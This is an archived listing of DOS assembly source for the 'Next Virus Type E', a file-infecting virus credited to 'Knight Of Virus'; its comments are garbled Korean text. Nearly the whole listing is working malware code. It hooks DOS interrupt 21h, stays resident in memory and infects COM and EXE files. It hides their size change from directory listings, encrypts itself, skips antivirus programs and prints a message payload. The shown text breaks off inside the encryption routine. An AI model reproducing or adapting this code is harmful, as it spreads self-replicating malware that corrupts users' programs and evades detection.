home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / KOREACOL.ZIP / NEXT.ZIP / NEXT_E.ASM next >
Encoding:
Assembly Source File  |  1996-08-12  |  30.9 KB  |  868 lines

  1. ;******************************************************************************
  2. ;
  3. ;         Next Virus Type E (Special Version)        (╣A╕b: 1995/04/17,05/05)
  4. ;
  5. ;      æB»a╦a ña╖í£ß»aôe ╨eèé¼e ┬A┴í╖ü ┤q╤í╤┴ ña╖í£ß»a£aôe ╡w╡üƒi êa╗íëí ╖╢ôe
  6. ; ña╖í£ß»a╖íöa.
  7. ;      ╖íñσ╡A æB»a╦a ña╖í£ß»aƒi öß╢é êü£╖╨ûöa.
  8. ;
  9. ;      1. ┤e╦í ña╖í£ß»a òA╖í╚ß ╠a╖⌐ ╡í╧e ñw╗í ªüªà ╣Aêß
  10. ;      2. ╡íñߥA╖í EXE ╣A╢A, NE ╚a╖│ ╣A╢A
  11. ;      3. ùí¥B╔íƒí ñaÄΘÿü êq╡q»í╟íôeê⌡ ╣A╢A.
  12. ;      4. 16╖ü ñü«ü¥í áeùi╗í ┤gëí EXE ╠a╖⌐ êq╡q»í╟íïí
  13. ;
  14. ;      ** ╦bÑi ñß╕σ╖a¥í E ƒi êü£╖╨a¼ß ╕aò╖╖a¥í »⌐╨ùûAëA áeùi┤÷öa. ╡ü╕σñß╕σ
  15. ;    ùi╖e ùíñßïa¥í »⌐╨ù╨ü┤í ╨ûöa. **
  16. ;
  17. ;
  18. ;  *Next.A (KVA0): ñw£w╕aƒi ña╚w╖a¥í ╨ü¼ß ╣A╕bûA┤÷╖q           94.07.13 - 07.29
  19. ;  *Next.B (KVA1): ñßïa ╣Ñ╕ü
  20. ;  *Next.C (KVA2): ág╖í Ñe╨e íí»s
  21. ;  *Next.D (KVA3): æB»a╦a ¥íëí ┬ë¥b
  22. ;  *Next.E (KVA4): Miny1.123 îiïí
  23. ;
  24. ;******************************************************************************
  25.  
  26.  VIR_SIZE      EQU     (End_Memory-Entry+0Fh) SHR 4
  27.  PARASIZE      EQU     ((VIR_SIZE+1)*2)
  28.  
  29.  
  30.                VIRUS SEGMENT PARA 'VIRUS'
  31.                ASSUME CS:VIRUS ,DS:VIRUS
  32.  
  33.  Entry:        jmp     Patch                 ; <----|
  34. ;              mov     si, offset GetIP + 100h    ; ┤q╤í ╬ëƒ⌐ ╢ß├íêt ¼Θ╕≈
  35.                call    Encry_Routine              ; ┤q╤í ╬ëïí
  36.  
  37.  GetIP:        mov     si,100h               ; ña╖í£ß»a »í╕b╕±
  38.                push    si                    ; SIêt ╕ß╕w
  39.                mov     ax,0000
  40.                add     ax,0F0A4h             ; £æ¼w║ü ê±¼a
  41.                int     21h
  42.                or      ax,ax                 ; AX=0000╖ííe £æ ¼w║üûA┤ß ╖╢╖q
  43.                jz      VirInstalled          ; ╖íúí £æ╡A ña╖í£ß»aêa ╖╢╖i ëw╢ü
  44.  
  45.                mov     CS:Miny1[Si],00
  46.                NOP
  47.                mov     ah,2Ch                ; 5ªà╖ííe Miny1 ÿΘ┤ߢaƒíïí ¡A╦a
  48.                Int     21h
  49.                cmp     CL,05
  50.                jnz     ChkMCB
  51.                mov     CS:Miny1[SI],01       ; Miny1 ÿΘ┤ߢaƒíïí
  52.                NOP                                                                    
  53.  
  54.  ChkMCB:
  55.                PUSH    DS                    ; DS êa ╠aèAûAúa¥í ╕ß╕w
  56.                MOV     BX,ES                 ; MCB èü╨aïí
  57.                DEC     BX
  58.                mov     ds,bx
  59.                XOR     DI,DI                 ; DI=0000
  60.                cmp     byte ptr ds:[DI],'Z'  ; áa╗íáb ºi£Γ╖Ñêa?
  61.                jnz     No_res                ; ┤aôííe...
  62.                Inc     DI                    ; DI=0001
  63.                mov     bx, PARASIZE
  64.                sub     DS:[DI+02],bx         ; ºi£Γ ¼a╖í╗a
  65.                sub     DS:[DI+11h],bx        ; öa╖q íAííƒí ºi£Γ╖ü ¡Aïaáσ╦a ñσ╗í
  66.                Inc     DI
  67.                mov     es,DS:[DI+10h]
  68.  
  69.                xor     ax,ax                 ; Int 21h êa¥í└üïí
  70.                mov     ds,ax
  71.  GetInt21:
  72.                mov     DI,0083h
  73.                Inc     DI                    ; Int 21h ║ü¡íêt
  74.                Push    DI
  75.                lds     bx,ds:[DI]
  76.                mov     word ptr CS:OldInt21[SI],bx
  77.                mov     word ptr CS:OldInt21[SI+2],ds
  78.  
  79.  MoveVirus:
  80.                push    cs                    ; ña╖í£ß»aƒi ┬A¼w╢ߥí Ñó¼a╨eöa.
  81.                pop     ds
  82.                xor     di,di
  83.                mov     cx,offset End_Memory
  84.                cld
  85.                repz    movsb
  86.  
  87.                mov     ds,cx                 ; Int 21h ƒi └a╗í╨eöa.
  88.                Pop     DI
  89.                cli
  90.                mov     DS:[DI+2],es
  91.                mov     DS:[DI],offset VirInt21
  92.                sti
  93.  
  94.  No_RES:       pop     ds                    ; ╢Ñ£ü DS êt
  95.  VirInstalled: pop     si                    ; IP êt Ñóèü
  96.  
  97.                push    ds                    ; ds=es
  98.                pop     es
  99.  
  100.                Push    SI
  101.                ADD     SI, offset EXE_IP
  102.                call    ENCRY_DATA            ; ┤q╤í╤┴ ûA┤ß ╖╢ôe ╢Ñ£ü òA╖í╚ß╬ëïí
  103.                Pop     SI
  104.                NOP
  105.                cmp     CS:File_Type[SI],01   ; EXE ╠a╖⌐╖Ñêa?
  106.                jz      RE_EXE
  107.  
  108.                                              ; COM ╠a╖⌐ »⌐╨ù╨aïí
  109.                cmp     si,100h               ; └⌡ »⌐╨ù╖ííe Å{Éæ
  110.                jnz     Restore_COM
  111.                INT     20h
  112.  Restore_COM:
  113.                add     SI, offset EXE_IP
  114.                mov     di,100h               ; └ß╖q╖ü 4 ña╖í╦a Ñóèü
  115.                NOP
  116.                push    di
  117.                movsw
  118.                movsw
  119.                ret
  120.                                              ; EXE ╠a╖⌐ »⌐╨ù╨aïí
  121.  RE_EXE:
  122.                mov     ax,es                 ; £æ╡A ña╖í£ß»aêa ╖╢╖aíe ╢Ñ£ü
  123.                                              ; EXE »⌐╨ù
  124.                add     ax,0010h
  125.                add     CS:EXE_Cs[SI],ax
  126.                xor     AX,AX
  127.                XOR     BX,BX
  128.                jmp     dword ptr CS:EXE_Ip[SI]    ; ╢Ñ£ü EXE ╠a╖⌐¥í
  129.                                              ; ╕±╧a(╢Ñ£üöü¥í »⌐╨ùûQ)
  130.  
  131.                                              ; ╢Ñ£ü COM,EXE òA╖í╚ß êt
  132.                NOP
  133.  Exe_Ip        DW ?                          ; IP êt
  134.  Exe_Cs        DW ?                          ; CS êt
  135.                NOP
  136.                NOP
  137.  
  138.  All_File      DB '*.*',00                   ; ííùe ╠a╖⌐╖i └x╖iÿü ¼a╢w
  139.  Msg DB        0Dh,0Ah                          ; æB»a╦a ¥íëí
  140.                DB   ' ▒▒▒ ▒  ▒▒▒▒▒  ▒ ▒ ▒  ▒▒▒▒▒ ',0Dh,0Ah
  141.                DB   ' ▒ ▒ ▒         ▒▒▒▒▒  ▒ ▒ ▒ ',0Dh,0Ah
  142.                DB   ' ▒ ▒ ▒  ▒▒▒▒▒    ▒      ▒   ',0Dh,0Ah
  143.                DB   ' ▒ ▒ ▒         ▒▒▒▒▒    ▒   ',0Dh,0Ah
  144.                DB   ' ▒ ▒▒▒  ▒▒▒▒▒  ▒   ▒    ▒ (Type_E/Last Ver.) VIRUS...'
  145.                DB   0Dh,0Ah,0Dh,0Ah
  146.                DB   ' (c) KOV (Knight Of Virus)/ Corea 9192/04/02',0Dh,0Ah
  147.                DB   0Dh,0Ah,'$'
  148.  NIF           DB  'HWF-TBCLCOWCTKDEIBT2'        ; ╣A╢A ╠a╖⌐
  149.  
  150. ; HW : HWP     .EXE
  151. ; F- : F-PROT  .EXE
  152. ; TB : TBAV    .EXE
  153. ; CL : CLEAN   .EXE
  154. ; CO : COMMAND .COM
  155. ; WC : WCD     .EXE
  156. ; TK : TKO     .EXE
  157. ; DE : DEFRAG  .EXE
  158. ; IB : IBMBIO  .COM  IBMDOS.COM
  159. ; T2 : T2      .EXE
  160.  
  161.  File_Type     DB  ?                         ; 00 ╖ííe COM, 01 ╖ííe EXE
  162.  Miny1         DB ?                          ; Miny1 ÿΘ┤ߢaƒíïí
  163.  
  164.  Side_Effect:                                ; íA»í╗í ┬ë¥b
  165.                Push   DS
  166.                Push   CS
  167.                Pop    DS
  168.                mov    dx, offset Msg
  169.                mov    ah,9
  170.                Int    21h
  171.                Pop    DS
  172.                IRET
  173.  
  174.  
  175. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  176. ;              FCB »a╔I»a
  177. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  178.  FCB_Stealth:                                     ; ╖e═üïíñ≤(Stealth Technique)
  179.                call    dword ptr CS:OldInt21      ; DIR ïíôw ╤í┬ë
  180.                pushf
  181.                cmp     al,0FFh                    ; ╡íƒA╖Ñêa?
  182.                jz      Exit_FCBstl
  183.  
  184.                push    AX                         ; ╕ß╕w
  185.                push    SI
  186.                push    DS
  187.                mov     si, word ptr CS:DosDTA     ; DIR »í 1ah ïíôw╖í ¼a╢wûAôeòA
  188.                mov     ds, word ptr CS:DosDTA+2   ; ╖íúí êa¥í└à╥üöa.
  189.  
  190.                cmp     byte ptr [SI],0FFh         ; ╤┬╕w FCB ╖Ñêa?
  191.                jnz     No_NFCB
  192.                add     SI,+07                     ; ╤┬╕w╢w FCB ƒi FCB ╡┴ ╔╖╖⌐
  193.  No_NFCB:      mov     al,byte ptr [SI+17h]       ; ┴íƒi ┤Φôeöa.
  194.                and     al,1Dh                     ;
  195.                cmp     al,1Dh                     ; êq╡q ╡aªü ╠eÑi╖i ┴í¥í ëü¼e
  196.                jnz     No_IMark                   ;
  197.                sub     word ptr [SI+1Dh],offset End_Virus
  198.                sbb     word ptr [SI+1Fh],+00
  199.  No_IMark:     pop     ds
  200.                pop     si
  201.                pop     ax
  202.  Exit_FCBstl:  popf
  203.                RETF    0002                       ; ╢Ñ£üöü¥í ò⌐┤aêaïí
  204.  
  205. ;<><><><><><><><><><><><><><><><><><><><><><><>
  206. ;              Int 21h ╖Ñ╚ߣ≤╦a
  207. ;<><><><><><><><><><><><><><><><><><><><><><><>
  208.  
  209.  VirInt21:
  210.                NOP
  211.                cmp    ax,0F044h              ; ╗w¼w ╤í┬ë ₧ü╦Ñ╖Ñêa?
  212.                jnz    Chk_4Install
  213.                jmp    Side_Effect
  214.  
  215.  Chk_4Install:
  216.                PushF
  217.                cmp    ax,0F0A4h              ; £æ ¼w║ü ╡aªü ê±¼a╖Ñêa?
  218.                jnz    Chk_AH
  219.  
  220.                XOR    AX,AX                  ; áx╖aíe 0000╖i ò⌐¥a║æ
  221.                POPF
  222.                IRET
  223.  
  224.  Chk_AH:       cmp    ah,11h                 ; DIR »í ╖e═ü ïíñ≤ ¼a╢w
  225.                jz     FCB_Stealth
  226.                cmp    ah,12h
  227.                jz     FCB_Stealth
  228.  
  229.                cmp    ah,13h                 ; ╠a╖⌐ ╗í╢üïí
  230.                jz     OR_InfectType
  231.                cmp    ah,17h                 ; ╖íƒq ñaÄüïí
  232.                jz     OR_InfectType
  233.                cmp    ah,39h                 ; ùí¥B╔íƒí ¼ù¼≈
  234.                jz     OR_InfectType
  235.                cmp    ah,36h                 ; ºÑ╢w£╖ ┤Φïí (DIR)
  236.                jz     OR_InfectType
  237.                cmp    ah,3Ah                 ; ùí¥B╔íƒí ╣Aêß
  238.                jz     OR_InfectType
  239.                NOP
  240.  ChkAH_2:
  241.                cmp    ah,3Bh                 ; DIR (COM,EXE╠a╖⌐)
  242.                jz     Push_
  243.                cmp    ah,3Dh                 ; ╡í╧e
  244.                jz     Push_
  245.                cmp    ah,41h                 ; ╠a╖⌐ ╗í╢üïí
  246.                jz     Push_
  247.                cmp    ah,43h                 ; ¡ó¼≈ ┤Φïí/ñaÄüïí
  248.                jz     Push_
  249.                NOP
  250.                cmp    ah,4Bh                 ; »⌐╨ù
  251.                NOP
  252.                jz     Push_
  253.                cmp    ah,56h                 ; ╖íƒq ñaÄüïí
  254.                jz     Push_
  255.                cmp    ah,6Ch                 ; ╡í╧e (DOS 4.0+)
  256.                jz     Push_
  257.  
  258.  ChkAH1a:      cmp    ah,1ah                 ; DIR »í ╕bò╖ ûAôe êt
  259.                jnz    Go_Int21
  260.                mov    word ptr CS:DosDTA,dx
  261.                mov    word ptr CS:DosDTA+2,ds
  262.                nop
  263.  
  264.  Go_Int21:                                   ; ╢Ñ£ü int 21¥í ╕±╧a
  265.                popf
  266.                db     0eah
  267.  OldInt21      dd ?
  268.                nop
  269.                nop
  270.  
  271.  callInt21:                                  ; ╢Ñ£ü Int 21h Éü╢w ╤í┬ë
  272.                XCHG   AH,AL
  273.                pushf
  274.                call   dword ptr cs:OldInt21
  275.                RET
  276.  
  277.  OR_InfectType:
  278.                Or     byte ptr cs:[InfectType],000000001b ; └x┤a¼ß êq╡q
  279.  Push_:        NOP
  280.                Push   ax
  281.                Push   bx
  282.                Push   cx
  283.                Push   dx
  284.                Push   ds
  285.                Push   es
  286.                Push   si
  287.                Push   di
  288.  
  289.                cmp    ah,6Ch                      ; ¼ü¥í╢à ╡í╧e ñw»ó╖Ñêa?
  290.                jnz    Chk_type
  291.                mov    DX,SI                       ; SI=╠a╖⌐ ╖íƒq╢ß├í
  292.  Chk_Type:
  293.                test   CS:InfectType,00000001B     ;
  294.                jnz    FindFile                    ; 00╖ííe ïaÉ╖ êq╡q
  295.                NOP
  296.                call   EndOfFN                     ; SI=êa╕w áa╗íáb ╢ß├íêt
  297.                CMP    AH,4Bh                      ; »⌐╨ù╖Ñêa?
  298.                NOP
  299.                jnz    c_ChkEXT
  300.                call   ChkV                        ; ╠a╖⌐ ╖íƒq ê±¼a╨q
  301.                jmp    Pop_
  302.  C_ChkEXT:
  303.                call   ChkEXT                      ; ╤┬╕w╕a ê±¼a
  304.                jmp    Pop_
  305.  
  306. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  307.  FindFile:       ; ╠a╖⌐ └x┤a¼ß êq╡q»í╟íïí
  308.                Push   CS                          ; CS=DS
  309.                Pop    DS
  310.                mov    byte ptr DS:[RETURN],00     ; êq╡qûAíe FFêa ûQ.
  311.  
  312.                mov    AL,2Fh                      ; DTA êt ┤Φïí
  313.                call   callInt21
  314.                Push   ES
  315.                Push   BX
  316.  
  317.                mov    AL,1Ah                      ; ña╖í£ß»aêa ¼a╢w╨i DTA ¼Θ╕≈
  318.                mov    dx,offset NewDTA            ; ¼ü¥í╢à DTA êt
  319.                call   callInt21
  320.  
  321.                mov    AL, 4Eh                     ; ╠a╖⌐ └xïí
  322.                mov    cx, 00100111b               ; ¡ó¼≈
  323.                mov    dx, offset all_file         ; ííùe ╠a╖⌐
  324.  Find_F:       call   callInt21
  325.                jc     Exit_FF
  326.  Find_More:
  327.                mov    AL,byte ptr NewDTA[16h]     ; êq╡q ╡aªü ê±¼a
  328.                and    AL,1Dh                      ; ┴íê±¼a
  329.                cmp    AL,1Dh
  330.                jz     Find_Next                   ; öa╖q ╠a╖⌐ └xïí
  331.  
  332.                cmp    word ptr NewDTA[28],0000    ; ╠a╖⌐ ╟aïíêa 15000 Ñíöa ╕b╖aíe
  333.                jnz    Set_FileName
  334.                cmp    word ptr  NewDTA[26],7676  ;
  335.                jb     Find_Next
  336.  
  337.  Set_FileName:
  338.                mov    dx,offset NewDTA[1Eh]       ; ╠a╖⌐ ╖íƒq
  339.                call   EndofFN                     ; ╠a╖⌐ Å{ ╢ß├í êt ┤Φïí
  340.                call   ChkEXT                      ; SI= ╠a╖⌐ ╣A╖⌐ Å{╢ß├íêt
  341.  
  342.                cmp    byte ptr CS:[RETURN],0FFh  ; 3 ╖ííe êq╡qûA┤÷╖q.
  343.                jz     Exit_FF                     ;
  344.  
  345.  Find_Next:
  346.                mov    aL,4Fh                      ; öa╖q ╠a╖⌐ └xïí
  347.                jmp    Find_F
  348.  
  349.  Exit_FF:      Pop    DX                          ; ╢Ñ£ü DTA Ñóèü
  350.                Pop    DS
  351.                pushf
  352.                mov    ah,1ah                      ; ╢Ñ£ü DTA Ñóèü
  353.                Int    21h
  354.                popf
  355.  
  356.  Pop_:         mov    byte ptr CS:InfectType,00
  357.                Pop    di
  358.                Pop    si
  359.                Pop    es
  360.                Pop    ds
  361.                Pop    dx
  362.                Pop    cx
  363.                Pop    bx
  364.                Pop    ax
  365.                jmp    Go_Int21
  366.  
  367.  
  368. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  369. ;  ╤┬╕w╕a ê±¼a , »⌐╨ù ╣A╢A ╠a╖⌐ ê±¼a ªüªà
  370. ;
  371. ;  ƒí╚σ: SI = ╠a╖⌐ ╣A╖⌐ Å{╖ü ╢ß├í
  372. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  373.  EndofFN:           ; ╠a╖⌐ ╖íƒq Å{╢ß├íƒi SI╡A ò⌐¥a║àöa.
  374.                CLD
  375.                mov    SI,DX
  376.  EOF_LOOP:
  377.                lodsb                              ; DS:[SI] -> AL
  378.                or     al,al
  379.                jnz    EOF_LOOP
  380.                RET
  381.  
  382.  ChkEXT:       ; ╤┬╕w╕aêa COM,EXE ╖Ñêa ?
  383.                cmp    word ptr ds:[SI-5],'C.'     ; COM ╠a╖⌐ ╖Ñêa?
  384.                jnz    ChkEXT_EXE
  385.                cmp    word ptr ds:[SI-3],'MO'
  386.                jz     ChkV
  387.  ChkEXT_EXE:
  388.                cmp    word ptr ds:[SI-5],'E.'     ; EXE ╠a╖⌐ ╖Ñêa?
  389.                jnz    Exit_ChkFN
  390.                cmp    word ptr ds:[SI-3],'EX'
  391.                jnz    Exit_ChkFN
  392.                nop
  393.  
  394.  ChkV:         ; ╠a╖⌐ ╖íƒq║ù╡A V ╕aêa ╖╢ôeêa?
  395.                std                                ; SI,DI ƒi êq¡í»í╟Ñöa.
  396.                mov    cx,0015
  397.  ChkVLoop:
  398.                lodsb                              ; DS:SI->AL
  399.                cmp    al,'\'                      ; ùí¥B╔íƒíƒi èüªà╨aôeêa?
  400.                jz     GetSname                    ;
  401.                cmp    al,':'
  402.                jz     GetSname
  403.                cmp    al,'V'                      ; V ╕a╖Ñêa? V3,V3RES ùw
  404.                jz     Exit_ChkFN
  405.                cmp    al,'S'
  406.                jz     Exit_ChkFN
  407.                loop   ChkVLoop
  408.                mov    si,DX                       ; 11ñσ ñeÑó╨û╖iÿüòí ┤⌠╖aíe
  409.                jmp    ChkSkipFile                 ; ╢Ñ£ü DXêt
  410.  
  411.  GetSname:     inc    SI                          ; »⌐╣A╕Γ êt ┤Φïí
  412.                inc    SI
  413.  ChkSkipFile:
  414.                Push   CS
  415.                Pop    ES
  416.                cld
  417.                mov    di,offset NIF               ; êq╡q╣A╢A ╠a╖⌐╖ü ╢ß├í
  418.                lodsw                              ; DS:[SI] -> AX
  419.                mov    cx,0010
  420.                repnz  scasw                       ; ╠a╖⌐ └⌡╕aêa êq╡q╣A╢A ╠a╖⌐╖Ñêa?
  421.                jnz    Chk_Infected
  422.  Exit_ChkFN:
  423.                RET
  424.  
  425.  
  426. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  427. ; êq╡q ╡aªü ê±¼a ₧ü╦Ñ
  428. ;   ƒí╚σ: êq╡q ¼≈ë╖                     : FFh
  429. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  430.  
  431.  Chk_Infected:
  432.                cmp    byte ptr CS:[Miny1],01      ; Miny1.123 ÿΘ┤ߢaƒíïí
  433.                jnz    Save_FileName
  434.                jmp    DROP_Miny1
  435.  
  436.  Save_FileName:
  437.                mov    word ptr cs:[FileName+2],ds
  438.                Push   CS
  439.                Pop    DS
  440.                mov    word ptr DS:[FileName],dx
  441.  
  442.  SetInt24:
  443.                mov    ax,3524h                    ; 24ñσ ╖Ñ╚ߣ≤╦a èü╨aïí
  444.                int    21h
  445.  
  446.                mov    word ptr ds:OldInt24,bx
  447.                mov    word ptr ds:OldInt24[2],es
  448.  
  449.                mov    ah,25h                      ; êa¥í└üïí
  450.                mov    dx,offset VirInt24
  451.                int    21h
  452.  
  453.                nop
  454.                lds    dx,ds:[FileName]            ; ¡ó¼≈ ┤Φïí
  455.                mov    ax,0043h
  456.                call   callInt21
  457.  
  458.                mov    word ptr cs:[FileAttr],cx   ; ╕ß╕w
  459.                xor    cx,cx
  460.                mov    ax,0143h                    ; ╖¬ïí/│aïí¥í ñaÄæ
  461.                call   callInt21
  462.                jnc    File_Open                   ;
  463.                inc    byte ptr cs:[RETURN]       ; ╡A£ß╖▒.
  464.                jmp    Attr_error
  465.  
  466.  File_Open:
  467.                mov    ax,023Dh                    ; ╠a╖⌐ ╡í╧e ╨aïí
  468.                call   callInt21
  469.                jc     Open_error
  470.  
  471.                push   cs
  472.                pop    ds
  473.  
  474.                Push   CS
  475.                Pop    ES
  476.  
  477.                xchg   bx,ax                      ; ╨àùi ┤Φïí
  478.                mov    ax,0057h                   ; ╢Ñ£ü ╠a╖⌐╖ü Éi╝a/»íêe╖i ┤i┤aÉæ
  479.                call   callInt21
  480.                push   DX                         ; Éi╝a ╕ß╕w
  481.                mov    word ptr ds:[FileTime],cx  ; ╢Ñ£ü »íêe ╕ß╕w (êq╡q»í ñaı)
  482.  
  483.  File_Read:
  484.                mov    ah,3fh                      ; ╖¬┤ß ùi╖íïí
  485.                mov    dx,offset Buffer4F
  486.                mov    si,dx
  487.                mov    cx,0066h
  488.                int    21h
  489.                jc     Restore_DT
  490.  
  491.  ChkEXEFile:
  492.                mov    ax, word ptr [SI]
  493.                cmp    ax,'MZ'
  494.                jz     J_EXE_Routine
  495.                NOP
  496.                XCHG   ah,al
  497.                cmp    ax,'MZ'
  498.                jz     J_EXE_Routine
  499.                jmp    COM_Routine                 ; COM ╠a╖⌐ êq╡q »í╟íïí
  500.                nop
  501.  J_EXE_Routine:
  502.                mov    AL,byte ptr DS:Buffer4F[14h]
  503.                xor    al,0A4h
  504.                cmp    byte ptr DS:Buffer4F[12h],AL
  505.                jz     Infected_Time
  506.                jmp    EXE_Routine                 ; ╠a╖⌐ êq╡q
  507.  
  508.  Infected_Time:
  509.                mov    cx,DS:FileTime
  510.                and    cl,11100000b
  511.                or     cX,+1Dh
  512.                mov    FileTime,CX
  513.  Restore_DT:   pop    dx
  514.                mov    cx,word ptr ds:[FileTime]   ; êq╡q»⌐╠üíe ╕≈¼w╕Γ╖Ñ »íêeùi┤ß╡▒
  515.                mov    ax,0157h
  516.                call   callInt21
  517.  
  518.  Close_error:                                ; ╠a╖⌐ öhïí
  519.                mov    AL,3Eh
  520.                call   callInt21
  521.  
  522.  Open_error:
  523.                mov    ax,0143h
  524.                mov    cx,word ptr ds:[FileAttr]
  525.                lds    dx,ds:[FileName]
  526.                call   callInt21
  527.  
  528.  Attr_error:
  529.                lds    dx,CS:[OldInt24]            ; Int 24h Ñóèü
  530.                mov    ax,2524h
  531.                int    21h
  532.                push   cs
  533.                pop    ds
  534.                RET
  535.  
  536. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  537. ; COM ╠a╖⌐ êq╡q »í╟íïí
  538. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  539.  COM_Routine:
  540.                mov    al,byte ptr ds:[SI+3]       ; êq╡q ╡aªü ╤┬╖Ñ
  541.                xor    al,0A4h
  542.                cmp    Al,ds:[SI+2]
  543.                jz     Infected_Time               ; áx╖aíe 61┴í¥í ñaÄæ
  544.  
  545.                mov    al,02h                      ; ╠a╖⌐╖ü ╣A╖⌐ ûߥí
  546.                call   SetPnt
  547.  
  548.                cmp    ax,6767                     ; ï⌐╖í ºíèa
  549.                jb     Restore_DT
  550.                cmp    ax,63000                    ;
  551.                ja     Restore_DT
  552.  
  553.                Push   AX
  554.                add    ax,100h
  555.                mov    word ptr DS:[GetIP+1], AX   ; ña╖í£ß»a »í╕b╕±
  556.                Pop    AX
  557.  
  558.                mov    si, offset Buffer4F         ; ┤|ªüªà 4ña╖í╦a Ñó¼a
  559.                mov    di, offset EXE_IP
  560.                movsw
  561.                movsw
  562.  
  563.                mov    byte ptr Buffer4F,0E9H      ; JMP íw¥w╡A ╨üöw
  564.                mov    word ptr Buffer4F+1,ax      ;
  565.                sub    word ptr Buffer4F+1,0003
  566.                add    ax, offset GetIP + 100h
  567.                mov    word ptr DS:[Entry+1],AX    ; ┤q╤í╬ë IP
  568.                mov    al,byte ptr Buffer4F+2      ; êq╡q ╡aªü
  569.                xor    al,0A4h
  570.                mov    byte ptr Buffer4F+3,al
  571.                mov    byte ptr File_Type,00
  572.  
  573.  Write_VIRUS:
  574.                call   SET_ENCRY_DATA              ; òA╖í╚ß ┤q╤í╤┴
  575.                call   SET_ENCRY_VIR               ; ╠a╖⌐ ┤q╤í╤┴ ╨aïí
  576.  
  577.                mov    al,00h                      ; └ß╖q ╖a¥í ╖íò╖╨aïí
  578.                call   SetPnt
  579.  
  580.                mov    AH,40h                      ; ┤|ªüªà │aïí
  581.                mov    dx, offset Buffer4F         ;
  582.                mov    CX,001Ah
  583.                Int    21h
  584.                mov    byte ptr cs:[RETURN],0FFh  ; êq╡qûA┤÷öa.
  585.                JMP    Infected_time
  586.  
  587. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  588. ;  EXE ╠a╖⌐ êq╡q »í╟íïí
  589. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  590.  EXE_Routine:
  591.                mov     byte ptr File_Type,1       ; EXE ╠a╖⌐╖íöa.
  592.                mov     si, OFFSET Buffer4F        ; SI=╠a╖⌐ ñß╠ß╢ß├í
  593.                NOP
  594.                mov     word ptr DS:[NEType],00    ; NE ╚a╖│╖ü EXE ╠a╖⌐╖Ñ╗í ê±¼a
  595.                mov     dx, DS:[SI+3Ch]            ; OS/2 & Windows
  596.                mov     cx, DS:[SI+3Ch+2]
  597.                mov     ax,4200h                   ; ╖íò╖
  598.                Int     21h
  599.                mov     cx,0002
  600.                mov     dx, offset NEType
  601.                mov     ah,3Fh
  602.                Int     21h
  603.                cmp     word ptr DS:[NEType],'EN'  ; 'NE'
  604.                jnz     Chk_OVREXE
  605.  Go_RDT:       Jmp     Restore_DT                  ; NE ╠a╖⌐╖íöa.
  606.  Chk_OVREXE:
  607.                mov     al,02                       ; ╠a╖⌐ Å{╖a¥í ╖íò╖
  608.                call    SetPnt
  609.  
  610.  Chk_EXESize:     ; EXE ╤Aöß ñaÄüïí
  611.                cmp     dx,+06                     ; ╗íÉa├íëA ╟e EXE ╠a╖⌐╖e êq╡q╡A¼ß
  612.                ja      Go_RDT                     ; ╣A╢A.
  613.                or      dx,dx
  614.                jnz     Chk_OverEXE
  615.                cmp     ax,7676                    ; 7676  ña╖í╦a ╖í¼w╖ü ╠a╖⌐
  616.                ja      Chk_OverEXE
  617.  J_SD:         Jmp     Go_RDT
  618.  
  619.  Chk_OverEXE:
  620.                PUSH    DX                         ; ï⌐╖í ╕ß╕w
  621.                PUSH    AX
  622.                MOV     AX,[SI+04]                 ; 04: ═A╖í╗í öe╢ß╖ü ï⌐╖í
  623.                MOV     DI,[SI+02]                 ; 02: Éaáß╗í
  624.                OR      DI,DI                      ; Éaáß╗íêa ╖╢ôeêa?
  625.                JZ      No_DEC
  626.                DEC     AX                         ; -1
  627.  No_DEC:       MOV     CX,0200h                   ; * 512
  628.                MUL     CX                         ; AX * 512 = DX:AX
  629.                ADD     AX,DI                      ; Éq┤a╖╢ôeêt öß╨aïí.
  630.                ADC     DX,+00                     ; ╕aƒí«ü ╡⌐ƒíïí
  631.                POP     DI                         ; AX êt
  632.                CMP     DI,AX                      ; ºíèa
  633.                POP     DI                         ; DX êt
  634.                JNZ     J_SD
  635.                CMP     DI,DX
  636.                JNZ     J_SD                       ; »⌐╣Aï⌐╖í╡┴ öaƒaíe êq╡q╣A╢A
  637.                NOP
  638.                PUSH    AX                         ; ╕ß╕w
  639.                PUSH    DX
  640.  
  641.                Push    SI                         ; File buffer
  642.                mov     si, offset Buffer4F+14h    ; IP
  643.                mov     di, offset EXE_IP          ;
  644.                movsw
  645.                movsw
  646.                POP     SI                         ;
  647.  
  648.                MOV     CX,0010h                   ; / 16
  649.                DIV     CX
  650.                SUB     AX,[SI+08]                 ; ╤Aößï⌐╖í(╠a£aïa£ü╧a öe╢ß)
  651.                MOV     [SI+16h],AX                ; CS êt
  652.                mov     [SI+14h],DX                ; IP êt
  653.                MOV     word ptr [GetIP+1],DX      ; »í╕b╕±
  654.                add     DX, offset GetIP
  655.                mov     word ptr Entry+1,dx
  656.                POP     DX                         ; ╢Ñ£ü ï⌐╖í
  657.                POP     AX
  658.                ADD     AX, offset End_Virus       ; + ña╖í£ß»a ï⌐╖í
  659.                ADC     DX,+00
  660.                MOV     CX,0200h                   ; /512
  661.                DIV     CX
  662.                OR      DX,DX                      ; Éaáß╗í?
  663.                JZ      Y_Inc
  664.                INC     AX
  665.  Y_Inc:        MOV     [SI+04],AX                 ; ï⌐╖í
  666.                MOV     [SI+02],DX                 ; Éaáß╗í
  667.                mov     AL,byte ptr DS:[SI+14h]
  668.                xor     al,0A4h
  669.                MOV     BYTE PTR [SI+12h],AL       ; 12:┴A╟a¼±, êq╡q╡aªü
  670.                JMP     Write_VIRUS
  671.  
  672. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  673. ;
  674. ; ┤q╤í╤┴ »í╟⌐ ╟íêt ┤Φïí
  675. ;
  676.  SET_ENCRY_DATA:
  677.                mov    si, offset EXE_IP
  678.                xor    ax,ax
  679.                mov    es,ax
  680.                mov    ax,word ptr es:[046ch]      ; »íêe êt
  681.                mov    word ptr DS:[ODE_AX_KEY+1],ax
